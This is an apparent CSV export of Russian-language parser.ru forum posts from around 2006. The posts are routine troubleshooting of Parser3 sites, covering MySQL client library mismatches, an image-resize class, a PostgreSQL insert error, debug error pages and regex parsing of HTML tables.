"49844","Возращаясь к вопросу поднятому в http://www.parser.ru/forum/?id=49716 и на который мне никто не дал вразумительного ответа, я стал рыть дальше и получил интересные результаты:\
\
индексы начинают работать как им и положено, когда таблица не MyISAM, а InnoDB (это в версиях 4.1.x)\
и если мы делаем группировку по полю входящему в составной ключ, то индекс также не работает, до тех пор, пока не сделаешь отдельно индекс по группируемому полю"
"49845","если сообщение сервера [quote]Client does not support authentication protocol requested by server;\
consider upgrading MySQL client [sql.connect][/quote]\
т.е. сошки на своих местах и парсер их видит.\
я сталкнулся с точно такой ситуацией.\
не буду настаивать, но это значит, что libparser3mysql.so общается на разных языках либо с libmysqlclient.so, либо с parser3.cgi.\
Самый лучший вариант скомпилить клиента на хостинге, или найти уже скомпилёный под эту OS"
"49847","Сайт давно работал на arbatek.ru а теперь вдруг перестал, в лог файле пишется при обращении к БД:\
[i]Client does not support authentication protocol requested by server; consider upgrading MySQL client [sql.connect][/i]\
\
А сейчас пытаюсь настроить уже другой сайт тоже на арбатеке и появляется такая запись:\
[i]'./lib/libparser3mysql.so' driver failed to initialize client library 'libmysqlclient.so', libmysqlclient.so: cannot open shared object file: No such file or directory [<no type>][/i]\
\
Вижу что не у меня одного такая проблема, много поискал здесь по поиску и ничего так и не нашел подходящего.\
Кто может еще что-нибудь посоветовать"
"49848","и вариант решения есть только один: нужно найти/скомпилить клиентскую библиотеку mysql 5 (или какая там нужна) для данной системы."
"49850","Можно ли установить обработчиком html-страниц скрипт с другого сайта?"
"49852","У меня была такая же проблема. В auto.p было все стандартно.\
Потом они прописали: \
#mysql	$sqldriversdir/libparser3mysql.so	$sqldriversdir/libmysqlclient.so.10.0.0\
mysql	$sqldriversdir/libparser3mysql.so	$sqldriversdir/libmysqlclient.so\
\
И еще пару файлов файлов скинули: libmysqlclient.so и libmysqlclient.so.10.0.0\
\
Может у них файлы какие-то другие, но помогло, могу скинуть если  хотите. :)"
"49853","ряд шагов для сборки под 64бита сделан, но и только.\
нашим клиентам этого пока не нужно."
"49854","если у вас успешно стартует parser,\
а сам parser 32битный,\
то для вашей платформы [b]обязательно[/b] существует 32битный libmysqlclient.so\
\
для популярных платформ тривиально найти готовый скомпилированный.\
ищите \"mysql client\".\
\
64бита — не то!\
http://www.parser.ru/forum/?id=49853"
"49855","см. INSTALL в архиве с исходниками Parser3."
"49856","^if использовать внутри математических выражений вполне можно.\
\
только скобки нужно поставить круглые, чтобы знак + был воспринят, как математический символ, а не как буква=не_цифра."
"49858","делает дело. старайтесь избегать переменных окружения, если это возможно."
"49859","Это как это понимать найти???"
"49860","Hex: Вашу проблему я решил, но потом возникает другая, что я с самого начала треда и описал: несовместимость протоколов."
"49862","1. гляньте в журнал ошибок веб-сервера, если там написано \"out of memory\", то вы знаете, что делать, и core файлик неинтересен.\
\
2. [code]\
^if(действительно падает из-за внутренней ошибки){\
  ^if(есть доступ к консоли сервера #по ssh или как ещё){\
    в консоли наберите gdb /путь/к/parser /путь/к/core\
    в приглашении gdb> наберите bt\
    пришлите результат мне\
  }{\
    если доступа никуда нет, пришлите бинарник parser и core мне\
  }\
}\
[/code]"
"49863","в последних версиях делались шаги, чтобы этого не было.\
\
если версия одна из последних, и всё равно безобразит, примените решение, которое найдите в форуме."
"49864","Где искать-то?\
А скомпилировать не могу. Не знаю как это делается.\
Разве дистрибутив MySQL НЕ САМОДОСТАТОЧНЫЙ???\
\
Почему PHP работает и без этой библы?\
Вот кто ответит на этот вопрос?\
Перл и PHP работают, а Парсер не работает.\
И еще говорите, что дело не в Парсере.\
Где логика!?"
"49865","parser никогда не ходил сам по redirect'ам.\
перепроверьте."
"49866","дайте адрес.\
\
отдельно: описанная задача сильно красивее и короче решится на perl. и работать будет сильно быстрее и памяти меньше кушать.\
\
отдельно2: интересно, кто способен воспринять несколько тысяч значений в одной странице?"
"49868","Уважаемые, вот свежая информация от поддержки ДиректАдмина:\
\
Вам прислали наверное либу от 4.1.x, а парсер зааттачен на 4.0.x\
Отсюда несоответствие протоколов.\
Перекомпиляйте парсер или решите проблему следующим образом.\
\
В окошке SQL-запроса phpMyAdmin, зайдя под соответствующим пользователем и паролем наберите:\
\
SET PASSWORD FOR 'ЮЗЕР'@'localhost' = OLD_PASSWORD('ПАРОЛЬ'); \
\
Что скажете? Опять Парсер не виноват?"
"49869","http://www.parser.ru/forum/?id=45628"
"49870","Дорогие коллеги! Мог бы кто-нибудь быть так любезен и поделиться кодом поиска на парсере? Сам поиск (в FULLTEXT, через MATCH AGAINST) и разбиение по страницам у меня уже готов. Осталось сделать:\
1) разбиение по словам (в случае, если слов в поисковом запросе несколько);\
2) вывод именно того места из текста, которое совпадает с запросом\
3) подсветку совпадений.\
Если у кого-нибудь есть готовый скрипт (а он наверняка есть:) или ценные советы - поделитесь плиз. Сроки поджимают (нужно всё успеть до середины дня), а я за это время вряд ли до всего дотумкаю."
"49871","Может быть Вы это уже изменили, а может и нет, а может вообще не сочтёте нужным...\
\
Версия: 1.76\
\
Метод: @insertUser[]\
Строка: 628\
\
[b]До:[/b]\
[code]\
^if(def $additional_fields.fields.update){\
	, '$user_data.[$additional_fields.fields.field]'\
}\
[/code]\
\
[b]После:[/b]\
[code]\
^if(def $additional_fields.fields.update){\
	, ^if(def $user_data.[$additional_fields.fields.field]){'$user_data.[$additional_fields.fields.field]'}{NULL}\
}\
[/code]\
\
Метод: @updateUser[]\
Строка: 760\
\
[b]До:[/b]\
[code]\
^if(def $additional_fields.fields.update){\
	, $additional_fields.fields.update = '$user_data.[$additional_fields.fields.field]'\
}\
[/code]\
\
[b]После:[/b]\
[code]\
^if(def $additional_fields.fields.update){\
	, $additional_fields.fields.update = ^if(def $user_data.[$additional_fields.fields.field]){'$user_data.[$additional_fields.fields.field]'}{NULL}\
}\
[/code]\
\
[b]Какой результат?[/b]\
Теперь в БД не летят пустые данные с формы... А не указанные данные ставятся как NULL.\
[i]Не удивлюсь, если у Вас есть более удобный способ решения такой ситуации...[/i]\
\
Что делаю я с полями, которые нужно сделать обязательными для заполнения?\
1) Редактирую метод @getErrors[]:\
[code]\
@getErrors[]\
$result[^table::create{id	name\
1	not_logged\
2	login_empty\
4	login_exist\
8	password_empty\
16	password_confirmation_error\
32	email_empty\
64	email_wrong\
128	user_not_found\
256	multiple_user_found\
512	last_name_empty\
1024	first_name_empty\
2048	middle_name_empty\
32768	unknown\
}]\
#end @getErrors[]\
[/code]\
\
2) Редактирую методы @insertUser[], @updateUser[]:\
[code]\
...\
^if(!def $user_data.[last_name]){\
	^addErrorCode[last_name_empty]\
}\
^if(!def $user_data.[first_name]){\
	^addErrorCode[first_name_empty]\
}\
^if(!def $user_data.[middle_name]){\
	^addErrorCode[middle_name_empty]\
}\
...\
[/code]\
[i]Думаю для всех понятно, что методы редактирую в классе прослойке.[/i]"
"49872","это значит, что провайдер не особенно дружелюбен.\
\
простая вещь:\
есть две точки:\
1. mysql server\
2. машина, на которой вертятся ваши скрипты\
\
у провайдера заявлена поддержка mysql.\
\
я считаю, что libmysqlclient.so файл, являющийся частью клиентского программного обеспечиния mysql, нужно, чтобы соответствовал используемому серверу.\
\
что произошло у провайдера:\
они обновили mysql сервер, машина 1, но не обновили клиентское программное обеспечение на машине 2. забыли.\
\
у кого-то что-то продолжило работать, вот и не чешутся.\
\
если и дальше будут упираться, найдите libmysqlclient.so для вашей OS и версии mysql.\
для популярных OS общедоступны собранные бинарники.\
для непопулярных, при наличии shell доступа, бинарники собираются двумя тривиальными командами."
"49873","что именно говорит?\
в районе encloser я кое-что чинил. у вас какая версия? от какого числа точно?"
"49874","1. Разбиение по словам я делал где-то так:\
[code]\
$query[$form:query]\
$parts[^query.split[ ;lv]]\
^parts.menu{\
	$parts.piece\
}\
[/code]\
3. Подсветку совпадений можно через replace\
[code]\
$result_rep[^table::create{from	to\
$string	<span class=\"color\">$string</span>\
}]\
\
^XXX.replace[$result_rep]\
[/code]\
\
[i]Правда не знаю насколько это разумно...[/i]"
"49875","Попробовал использовать класс Images.p из примеров.\
Скопировал класс на хостинг в директорию /classes/image/\
[b]/classes/image/ :[/b]\
1. images.p\
2. convert.pl\
3. images.pl\
\
В images.p написал:\
[code]\
@auto[]\
#$script_path[/nconvert]\
#$script_resize_name[nconvert.exe]\
\
$script_path[/classes/image]\
$script_resize_name[images.pl]\
\
$script_convert_path[/classes/image]\
$script_convert_name[convert.pl]\
### End @auto[]\
[/code]\
\
Правильно?\
\
Создал папку test. В нее поместил Index.html:\
[code]\
^use[/classes/image/images.p]\
\
<form method=\"post\" enctype=\"multipart/form-data\">\
<input type=\"file\" name=\"pict\" size=\"50\">\
<input type=\"submit\">\
\
^if(def $form:pict){\
	$source_path[/big/]\
	$destination_path[/small/]\
	$extension[^file:justext[$form:pict.name]]\
	$image_name[54321.$extension]\
	$format[jpg]\
	^if(!^images:save[$form:pict;$source_path;$image_name;$format]){\
	^if(^extension.lower[] ne ^format.lower[]){\
	$image_name[${image_name}.$format]\
	}\
	$status[^images:resize[\
	$.source_path[$source_path]\
	$.destination_path[$destination_path]\
	$.image_name[$image_name]\
	$.x_size(100)\
	$.y_size(120)\
	$.quality[80]\
	]]\
	^if(!$status){\
	^rem{ *** &#194;&#241;&#184; &#238;&#234; *** }\
	}{\
	^rem{ *** &#194;&#238;&#231;&#237;&#232;&#234;&#235;&#224; &#238;&#248;&#232;&#225;&#234;&#224; *** }\
	$status\
	}\
	}\
}\
[/code]\
\
Показывает ошибку 3.\
\
Спросил у хостера, установлен ли ImageMagick, сказали да, путь \
/usr/local/bin/convert\
\
Может надо путь изменить где-то? Или причина не в этом?\
\
В папку big картинка сохранятеся а small даже не создается."
"49876","encloser вы починили, но выложили только версию для win32.\
\
Все остальные надо собирать.\
\
(Может соберете, а то у меня, например, нет такой возможности :)"
"49879","ещё хотел одну мелочь поправить с ^mail:send'ом.\
поправлю, выложим всё разом."
"49881","Ничего не изменилось.. Ошибка 3, в small ничего не сохраняется"
"49882","в первом изменении смысла не вижу ибо при неопределенном значении формы в запрос не будет подставлено ни имя поля ни 'пустое значение'. т.е. будет вставлен NULL\
\
с проверками все изменится более кардинально (щас сижу и переписываю класс), не надо будет перекрывать методы @insertUser[] и @updateUser[] целиком."
"49884","Предлагаю открыть файл images.p и отключить перехват ошибки, чтобы знать точнее в чём проблема...\
На версии 1.0.3.4 в методе @save[], изменить так:\
[code]\
^try{\
	...\
}{\
#	$exception.handled(1)\
#	$result(3)\
}\
[/code]\
Теперь попробовать заного конвертировать изображении и посмотреть на ошибку..."
"49885","Сделал,\
ошибка такая:\
[Fri Feb 17 13:00:05 2006] [65929] /test/: /home/u33578/woodtrade.ru/www/classes/image/images.p(77:34): 'resize' source image is missing [image_file.missing]"
"49886","Исходник не найден. Чтобы было что ресайзить - нужен файл, а его нету. Ошибка где-то выше."
"49887","^if(def $form:pict){\
	$source_path[/big]\
	$destination_path[/small]\
	$extension[^file:justext[$form:pict.name]]\
	$image_name[54321.$extension]\
	$format[gif]\
	^if(!^images:save[$form:pict;$source_path;$image_name;$format]){\
	^if(^extension.lower[] ne ^format.lower[]){\
	$image_name[${image_name}.$format]\
	}\
	$status[^images:resize[\
	$.source_path[$source_path]\
	$.destination_path[$destination_path]\
	$.image_name[$image_name]\
	$.x_size(100)\
	$.y_size(120)\
	$.quality[80]\
	]]\
	^if(!$status){\
	^rem{ *** An? ie *** }\
	}{\
	^rem{ *** Aicieeea ioeaea *** }\
	$status\
	}\
	}\
}\
\
$format[gif] - был jpg указан, а я закачивал gif.\
Сейчас работает. Хотя я думал она и форматы конверитрует :)\
\
Спасибо."
"49888","по поводу ошибки сказали верно. Не найден файл.\
Причина:\
[code]$script_path[/../cgi-bin][/code]\
это путь, где лежит файл images.pl и convert.pl\
Как минимум в этой папке должны быть права на запуск скриптов, и у этих файлов тоже должны быть права на запуск."
"49890","У меня так написано:\
$script_path[/classes/image]\
$script_resize_name[images.pl]\
\
$script_convert_path[/classes/image]\
$script_convert_name[convert.pl]\
\
Права 755 сразу поставил"
"49891","собирали сами, брали исходники дня два-три назад отсюда\
cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project login\
\
В ошибке говорит что не закрыта скобка [, { и т.д."
"49893","[code]@main[]\
<html>\
<head><title>Test INSERT in PgSQL</title></head>\
<body>\
\
# size of data for insert statement\
#$textsize[16341]\
#$textsize[16340]\
#$textsize[8157]\
$textsize[8156]\
\
Trying to insert $textsize symbols...\
<hr>\
\
^try{\
	$connect_string[pgsql://postgres@192.168.1.12:5432/test?ClientCharset=UTF-8]\
	^connect[$connect_string]{\
		$f[^file::load[text;mytext.txt]]\
		$text[^f.text.left($textsize)]\
		$query[INSERT INTO test(text) VALUES ('$text')]\
		Connected, executing query, size of ^query.length[]...<hr>\
		^try{\
			$tmp[^void:sql{$query}]\
			OK!<br>\
		}{\
			$exception.handled(1)\
			Error!<br>\
			$exception.type<br>\
			$exception.comment<br>\
			$exception.file, $exception.lineno<br>\
		}\
	}\
}{\
	$exception.handled(1)\
	Error:<br>\
	$exception.type<br>\
	$exception.comment<br>\
	$exception.file, $exception.lineno<br>\
}\
\
</body>\
</html>\
[/code]\
\
Скрипт запускался несколько раз с различными значениями textsize:\
\
---- Результаты выполнения:\
Trying to insert 8156 symbols... \
Connected, executing query, size of 8190...\
OK!\
Примечание: все в порядке :)\
\
Trying to insert 8157 symbols... \
Connected, executing query, size of 8191...\
Error!\
sql.execute\
pqReadData() -- read() failed: errno=0 No error \
c:/web/server/head/test/pgtest.p3, 24\
Примечание: хоть и была ошибка, но весь текст записался в базу\
\
Trying to insert 16340 symbols... \
Connected, executing query, size of 16374...\
Error!\
sql.execute\
pqReadData() -- read() failed: errno=0 No error \
c:/web/server/head/test/pgtest.p3, 24\
Примечание: аналогично, хоть и была ошибка, но весь текст записался в базу\
\
Trying to insert 16341 symbols... \
Error:\
sql.connect\
pqReadData() -- read() failed: errno=0 No error \
c:/web/server/head/test/pgtest.p3, 18\
Примечание: в базу ничего не записалось :(((\
\
----- Система:\
Parser 3.2.1 (драйвер - parser3sql_1_4_win32_pgsql.zip)\
PostgreSQL 8.1.2 on i686-pc-mingw32, compiled by GCC gcc.exe (GCC) 3.4.2 (mingw-special)\
SSL не используется\
\
----- Таблица:\
CREATE TABLE test\
(\
  text pg_catalog.text\
) \
WITHOUT OIDS;\
ALTER TABLE test OWNER TO postgres;\
\
----- Данные в файле:\
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100\
и т.д. :)\
при вставке через pgadmin (1.4.1) все нормально\
\
Что скажете? Где я не прав?\
Может настройки какие покопать или еще что..."
"49894","Парсер тут НЕ ПРИ ЧЕМ вобще. И то, что вам говорят хостеры - обычные отписки.\
\
Парсер работает следующим образом: для любых баз данных есть некоторый уинверсальный интерфейс (драйвер), реализуемый c помощью libparser[b]**sql[/b].so (или .dll для windows). У этого драйвер одна задача - преобразовывать запросы/данные передаваемые/получаемые от СУБД. Все! На этом работа Парсера заканчивается! Работа с СУБД производится посредством библиотек (в случае с MySQL это libmysqlclient.so), которые разрабатываются авторами СУБД. Клиентские бибилиотеки, очевидно, должны соответствовать версии, используемой СУБД. Вот этого и надо ПОТРЕБОВАТЬ от хостера, чтобы они там себе не думали по этому поводу. Поверьте, они знают как собрать нужные билиотеки. Пусть к правильной библиотеке необходимо прописать в конфигурационном файле Парсера.\
\
Что касается проблемы со сменой принципов хэширования паролей в MySQL версий 4.1 и старше, то тут надо просто ВНИМАТЕЛЬНО ПРОЧИТАТЬ документацию по СУБД."
"49896","не, сказать что редко, но так лениво этим дома заниматься, когда можно посмтреть какой-нить фильм или поиграться Ж-)"
"49897","Скинтье пожалуйста оба файла на адрес a.s.malitsky@mail.ru\
Они указали что библиотека расположена по адресу /usr/lib/libmysqlclient.so\
но и это не помогло ([<no type>])"
"49899","... вот что. Провайдеры установили СУБД. И она же должна сразу работать. Не понимаю, как это так, зачем КОМПИЛИРОВАТЬ файлы? Или у вас так принято в среде Unix? Все программы компилируются и устанавливаются конечным пользователем?? Да еще и с разными наборами файлов?"
"49901","Это для andrey, он сказал что может выслать:\
libmysqlclient.so и libmysqlclient.so.10.0.0"
"49902","это как придет админ и на вашем компютере проапгрейдит OS, но оставит DirectX 6.0. фигу вы поиграетесь при таком раскладе в игрушки, требующие DirectX 9.0, хотя некоторые работать будут: те, которым хватает DX6 и те, которые работают с видео картой напрямую.\
\
я не знаю как сделано в php, возможно там есть свой драйвер, через который происходит обращение к sql серверу минуя стандартную клиентскую библиотеку. возможно в этот драйвер входит кусок, который авторы php взяли из исходников sql, т.е.  перекомпиляцией php на их OS все решается."
"49904","(1) За разбиение - респект. Помогло!\
(3) За подсветку совпадений тоже спасибо + благодаря поиску по форуму :) получился более продвинутый алгоритм\
\
Остаётся (2) - вывод именно того места из текста, которое совпадает с запросом. То есть, выводить нужно не весь текст, а ~300 символов вокруг совпадения. Пробовал сделать ^str.prematch.right(150)<b>$str.match</b>^str.postmatch.left(150), но вариант не работает, если в запросе несколько слов"
"49905","Добрый день!\
\
Собрал mod_parser3. Parser 3.2.0, Apache 1.3.34, FreeBSD 6.0. В процессе работы появляется Unhandled Exception, когда идет отдача не из кэша. В лог кидает: \
\
** CRITICAL **: file gdome-xml-node.c: line 601 (gdome_xml_n_nodeType): assertion `GDOME_XML_IS_N (priv)' failed.\
\
или\
\
** CRITICAL **: file gdome-xml-node.c: line 902 (gdome_xml_n_appendChild): assertion `GDOME_XML_IS_N (priv)' failed.\
\
\
Пересобирал все различными вариантами несколько раз (в т.ч. и точно так как сказано в документации), не помогло. Экспериментировал на freebsd 4 - то же самое. При отладке ktrace показывает, что последний вызов - flock, хотя код возврата 0, но следом уже идет запись в лог.\
\
Подскажите пожалуйста из-за чего данная ошибка может возникать.\
\
Заранее огромное спасибо.\
--\
С уважением,\
Андрей"
"49906","Помогите плиз начинающему!!\
В корневом каталоге - файл auto.p:\
\
[code]@main[]\
^header[]\
^body[]\
^footer[]\
\
@footer[] \
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"0\"> \
   <tr> \
      <td></td> \
   </tr> \
</table> \
$now[^date::now[]] \
<font size=\"-3\"> \
<center>Powered by Parser3<br>1997-$now.year</center> \
</font> \
</body> \
</html> \
\
@header[] \
<html> \
<head> \
<title>Тестовый сайт Parser3</title> \
</head> \
<body bgcolor=\"#FAEBD7\"> \
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\"> \
   <tr  bgcolor=\"#FFFFFF\" height=\"60\"> \
      <td align=\"center\"> \
         <font size=\"+2\"> <b>^greeting[]</b></font> \
      </td> \
   </tr> \
</table> \
<br> \
\
@body[] \
^navigation[] \
<table width=\"100%\" height=\"65%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\"> \
   <tr  bgcolor=\"#ffffff\" height=\"100%\"> \
      <td width=\"30%\" valign=\"top\" bgcolor=\"#EFEFEF\"> \
         <b>^body_additional[]</b> \
      </td> \
      <td width=\"70%\" valign=\"top\"> \
         ^body_main[] \
      </td> \
   </tr> \
</table> \
<br> \
\
\
\
\
\
############################## Меню навигации\
\
@navigation[]\
$sections[^table::load[sections.cfg]]\
<table class=\"navigation\">\
		^sections.menu{\
			<tr><td>\
				^navcell[]\
			</td></tr>\
		}\
</table>\
\
@navcell[]\
^if($sections.uri eq $request:uri){\
	<b><font class=\"active\"><nobr>$sections.name</nobr></font></b>\
}{\
	<a href=\"$sections.uri\" class=\"nav\"><nobr>$sections.name</nobr></a>\
}\
\
\
#EOF\
[/code]\
, там же - sections.cfg: \
\
[code]section_id	name	uri\
1	Главная	/\
2	События	/news/\
3	Инфа	/group/\
4	Послушать	/music/\
5	Видео	/video/\
6	Фото	/photo/\
7	Общение	/talk/\
8	Ссылки	/links/\
9	Контакты	/contacts/[/code]\
\
, там же файл index.html\
[code]@greeting[] \
Добро пожаловать! \
\
@body_additional[] \
Главная страница сайта \
\
@body_main[] \
Основное содержание [/code]\
\
и .htaccess :\
\
[code]#\
#  Первые  3  строки  этого  файла  закомментированы  -  соответствующие\
#  настройки  уже  сделаны  в  файле  httpd.conf (основной файл настроек\
#  Apache).  Когда  вы  перенесте  свой сайт к провайдеру, где общий для\
#  всех  клиентов  httpd.conf  вам  править  никто не даст, придёт время\
#  раскомментировать эти строки, указав правильный путь к parser.cgi. \
#\
#  Кстати, не забудьте установить права 755 на parser3.cgi у провайдера!\
#\
########################################################################\
\
\
## Делаем parser3.cgi обработчиком HTML файлов:\
#AddHandler     parsed-html            .html\
#Action         parsed-html            /cgi-bin/parser3/parser3.cgi\
\
\
# Запрещаем открывать парсерные служебные файлы в браузере:\
<Files ~ \"\\.(p|cfg|dir|pag)$\">\
	Order allow,deny\
	Deny from all\
</Files>\
\
# Файл index.html будет страницей по умолчанию:\
DirectoryIndex index.html index.htm default.htm index.cgi index.pl index.php\
 \
# Следующая инструкция вырубает Russian Apache (если он работает)\
<IfModule mod_charset.c>\
	CharsetDisable On\
</IfModule>[/code]\
. Создал папку group, куда поместил index.html\
[code]@greeting[]\
Наша контактная информация \
\
@body_additional[]\
Главная страница тестового сайта \
\
@body_main[]\
Основное содержание \
\
@footer[]\
Здесь у нас контакты[/code]\
. И теперь, когда, находясь на главной странице, нажимаю пункт меню \"Инфо\" (ведущий в папку group), появляется сообщение \"Internal server error (Parser)\
Server encountered an internal error. Please inform the webmaster about this problem. If you are the webmaster, please edit the auto.p file to see error details.\"\
\
В чём дело? Ничё не понимаю, всё делал по книжке. Каковы возможные причины????"
"49907","Мда, нашёл ошибку - написал ^table:load[sections.cfg], т.е. относительный путь, а в папке group такого файла не было))\
Но вот что непонятно - почему ошибки корретно отображаются лишь при использовании 127.0.0.1 ? А при использовании других отладочных ip выскакивает лишь сообщение о внутренней ошибке сервера"
"49908","Спасибо за файлы, но они ничего не изменили (\
Только недавно после переписки с техподдержкой Arbatek.ru была устранена неполадка на одном сайте (который раньше работал а потом перестал (была ошибка: [i]Client does not support authentication protocol requested by server; consider upgrading MySQL client[/i]), но теперь новый сайт, который я пытаюсь настроить, не хочет работать (ошибка:[i]'./lib/libparser3mysql.so' driver failed to initialize client library '/usr/lib/libmysqlclient.so', /usr/lib/libmysqlclient.so: cannot open shared object file: No such file or directory [<no type>][/i]).\
Версии парсеров немного отличаются, а в остальном все аналогично.\
Отправил письмо в службу техподдержки снова, пришел\
Ответ: \"[i]Ваше сообщение передано системным администраторам. Мы сообщим Вам о результатах.[/i]\""
"49909","Их никто не заставляет компилировать - многие пакеты поставляются в виде бинарных дистрибутивов. Задача же администраторов - ПРАВИЛЬНО установить пакет на сервер.\
\
Не думайте, что процесс сборки программ на unix-like системах сложная задача. По большей части все сводится к командам:\
[code]\
./configure\
./make\
./make install\
[/code]\
\
А будет make что-то компилировать или нет - его личное дело. Я уж не говорю про системы \"портов\"? rpm'ы и прочие полезные вещи. Тот же Парсер собирается совершенно спокойно и без проблем."
"49910","Если запускать apache в однопроцессном режиме, то после отрефрешивания страницы отдается все нормально и больше глюк не наблюдается. \
\
Если запускать apache в обычном режиме, то в придачу ко всем еще и стала появляться ошибка child pid xxxxx exit Signal bus error."
"49912","На время обучения рекомендую в файлике идущем вместе с парсером auto.p несколько изменить следующий метод\
\
это находится в районе 107 строки\
@unhandled_exception[exception;stack]\
#use debug version to see problem details\
#^unhandled_exception_release[$exception;$stack]\
^unhandled_exception_debug[$exception;$stack]\
\
При таком раскладе вам будут выводиться более человеком понятные ошибки(не рекомендуется для серверов смотрящих в мир)\
\
\
@unhandled_exception[exception;stack]\
#use debug version to see problem details\
^unhandled_exception_release[$exception;$stack]\
#^unhandled_exception_debug[$exception;$stack]\
\
В таком случае вы сможете заметить только факт ошибки и никаких подробностей (то что вы процмтировали)"
"49913","В главном auto.p (../apache_swissknife/вебсервер/parser) у вас написано (примерно на 120 строке) что: \
[code]\
^if($env:REMOTE_ADDR ne \"127.0.0.1\"){\
# тут много всего, смыл в том, что выдаст простую страницу ошибки\
#\
	$result[<!DOCTYPE html PUBLIC \"-//W3C/..............]\
#	....\
}{\
	^friendly_parser_error_message[$exception;$stack]\
}\
[/code]\
Исправте как вам надо или вообще уберите условие."
"49914","Как можно узнать, что найденный файл - это директория? Например, при выполнении функции ^file:list"
"49916","Для MySQL ver 4.1 нужна libmysqlclient.so.12, а не libmysqlclient.so.10 Отпиши админам примерно следующее:\
\
Please compile & install libmysqlclient.so.12 for MySQL version 4.1.\
\
libmysqlclient.so.10 is for MySQL version3.* - not for 4.1!\
\
Еще можно поискать в сети и скачать эту самую libmysqlclient.so.12 для FreeBSD 4. Если найдёшь и скачаешь, то уложи её рядом с parser3.cgi и задай в конфигурацонном файле auto.p путь таким образом:\
[code]\
$SQL[\
$.drivers[^table::set{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	libmysqlclient.so.12\
}]\
]\
[/code]"
"49917","Может быть проверку на «локальность» IP изменить? Сделать чтобы срабатывал любой IP, соотутствующий «127.0.0.\\d+»?..\
\
[code]\
^if($env:REMOTE_ADDR ne \"127.0.0.1\"){...}\
-->\
^if(^env:REMOTE_ADDR.match[^^127.0.0.\\d+^$]){...}\
[/code]"
"49920","Через load:file я получаю страницу, затем через match выбираю нужный кусок текста в котором есть таблица. Как можно из этой таблицы определенный столбец убрать, т.е. полностью с форматирование (<td>text</td>)?"
"49921","Ячейки в этом солбце как-нибудь отличаются от ячеек в остльных столбцах? Ну то есть у них есть какой-нибудь аттрибут, которого нет у других или содержимое как-то отличается?.. Привидите исходный код таблицы, посмотрим."
"49922","[code]<TABLE width=\"100%\" cellspacing=\"0\" cellpadding=\"0\" border=\"0\">\
<TR><TD bgcolor=\"#727272\">\
<TABLE width=\"100%\" cellspacing=\"1\" cellpadding=\"4\" border=\"0\">\
<TR>\
<TD class=\"form-tab\" align=\"center\" width=\"10%\" bgcolor=\"#CCCCCC\">Cчет</TD>\
<TD class=\"form-tab\" align=\"center\" width=\"10%\" bgcolor=\"#CCCCCC\">Баланс</TD>\
<TD class=\"form-tab\" align=\"center\" width=\"10%\" bgcolor=\"#CCCCCC\">Кредит</TD>\
</TR>\
<TR>\
<TD class=\"bill-table\" align=\"left\">3</TD>\
<TD class=\"bill-table\" align=\"left\">-5.82</TD>\
<TD class=\"bill-table\" align=\"left\">50.00</TD>\
</TR>\
<TR>\
<TD class=\"bill-table\" align=\"left\">30</TD>\
<TD class=\"bill-table\" align=\"left\">-295.00</TD>\
<TD class=\"bill-table\" align=\"left\">0.00</TD>\
</TR>\
</TABLE></TD></TR></TABLE>\
[/code]\
такая вот она, число строк в ней заранее не известно."
"49923","Может быть сначала разбирать html-таблицу в таблицу в формате tab-delimited, а уж дальше с ней работать?..\
\
[code]\
# строка с уже вырезанной таблицей, т.е. начинается с <table...>:\
$str[...]\
$table[^table::create{account	balance	credit}]\
^str.match[\
	<TR>\
		<TD class=\"bill-table\" align=\"left\">(.+?)</TD>\
		<TD class=\"bill-table\" align=\"left\">(.+?)</TD>\
		<TD class=\"bill-table\" align=\"left\">(.+?)</TD>\
	</TR>\
][xgi]{\
	^table.append{$match.1	$match.2	$match.3}\
}\
[/code]\
\
Что-то на подобии этого."
"49924","Не могу передать параметр через урл\
\
На другом хосте все работает, на этом нет. \
\
Есть ссылка <a href=\"ch=$param\"></a> При наведении на ссылку параметр виден и при переходе по ссылке параметр есть в адресной строке, а при  выводе $form:fields.ch выходить пустота."
"49925","<a href=\"?ch=$param\"></a>"
"49926","Проблема с русской кодировкой в форуме SMF, показывает вопросы вместо букв, начал разбираться в чем дело и выяснилось что база несохраняет русский текст, хотя charset 1251. Пробовал через phpmyadmin заносить инфу и таже песня. В чем проблема ? Спасибо !"
"49927","Читаю:\
\
[quote]\
object_text:\
В этой таблице хранятся тексты объектов.\
\
object_id...\
lang_id...\
name...\
window_name...\
document_name...\
[/quote]\
\
А где, собственно, сам текст объекта?.. Или я чего-то недопонял?..\
\
И еще вопрос: как блок связывается с объектом?.. Т.е. объект в целом — есть набор блоков в заданном порядке, или в тексте объекта вызывается какой-то блок?.. Зачем связываются объекты с блоками в базе (block_to_object)? Получается, что они привязаны к объекту в каком-то заданном порядке (sort_order), а не произвольно размещены в тексте объекта?\
\
Сдается мне, что я чего-то не понял :)"
"49928","примерно так уже и есть — (double)(unsigned long)long_literal.\
увы, функция strtoul не вполне переносима, поэтому использована strtol (\"to signed long\"), которая обрезает число, выпадающее за свои границы. свою эмулировать лениво.\
\
объявляем границу литерала 0xHHHHhhhh: \
[code]\
#define INT_MAX       2147483647    /* maximum (signed) int value */\
[/code]\
т.е. записать в hex виде можно число, не большее 0x7FFFffff.\
\
workaround:\
[code]\
^eval(0xFFFF*0x10000+0xFFFF)\
#4294967295\
[/code]"
"49929","1. какой \"текст объекта\"? - нету такого\
2. \"Т.е. объект в целом — есть набор блоков в заданном порядке\". - да\
3. \"Зачем связываются объекты с блоками в базе\". - в них контент."
"49930","записал в десятичном виде, все прекрасно работает"
"49931","Очень не советовал бы заниматься распознаванием со страницы экономической/денежной информации...\
Завтра кто-нибудь, не сообщив, чуть изменит исходник и полетит вся экономика, а вместе с ней и деньги.\
\
Если это не реализация \"для вида\" - ищите другой путь, на котором можно хоть сколько-нибудь быть уверенным в исходных данных.\
Прямая загрузка исходно таблицы из базы, подгрузка таблицы, выгнанной в текстовый формат и т.п."
"49932","Для вида, цель спрятать от пользователей родной отчет."
"49933","Как организуется работа, допустим, с новостями? Есть блок новостей, который выводит список новостей в соответствии с параметрами блока (например кол-во новостей на страницу)? Т.е. таким образом при создании документа, можно привязать к нему не только новостной блок, но и другие?.. А обычный текстовый документ, получается состоит из одного блока, параметром которого является редактируемый текст. Так?"
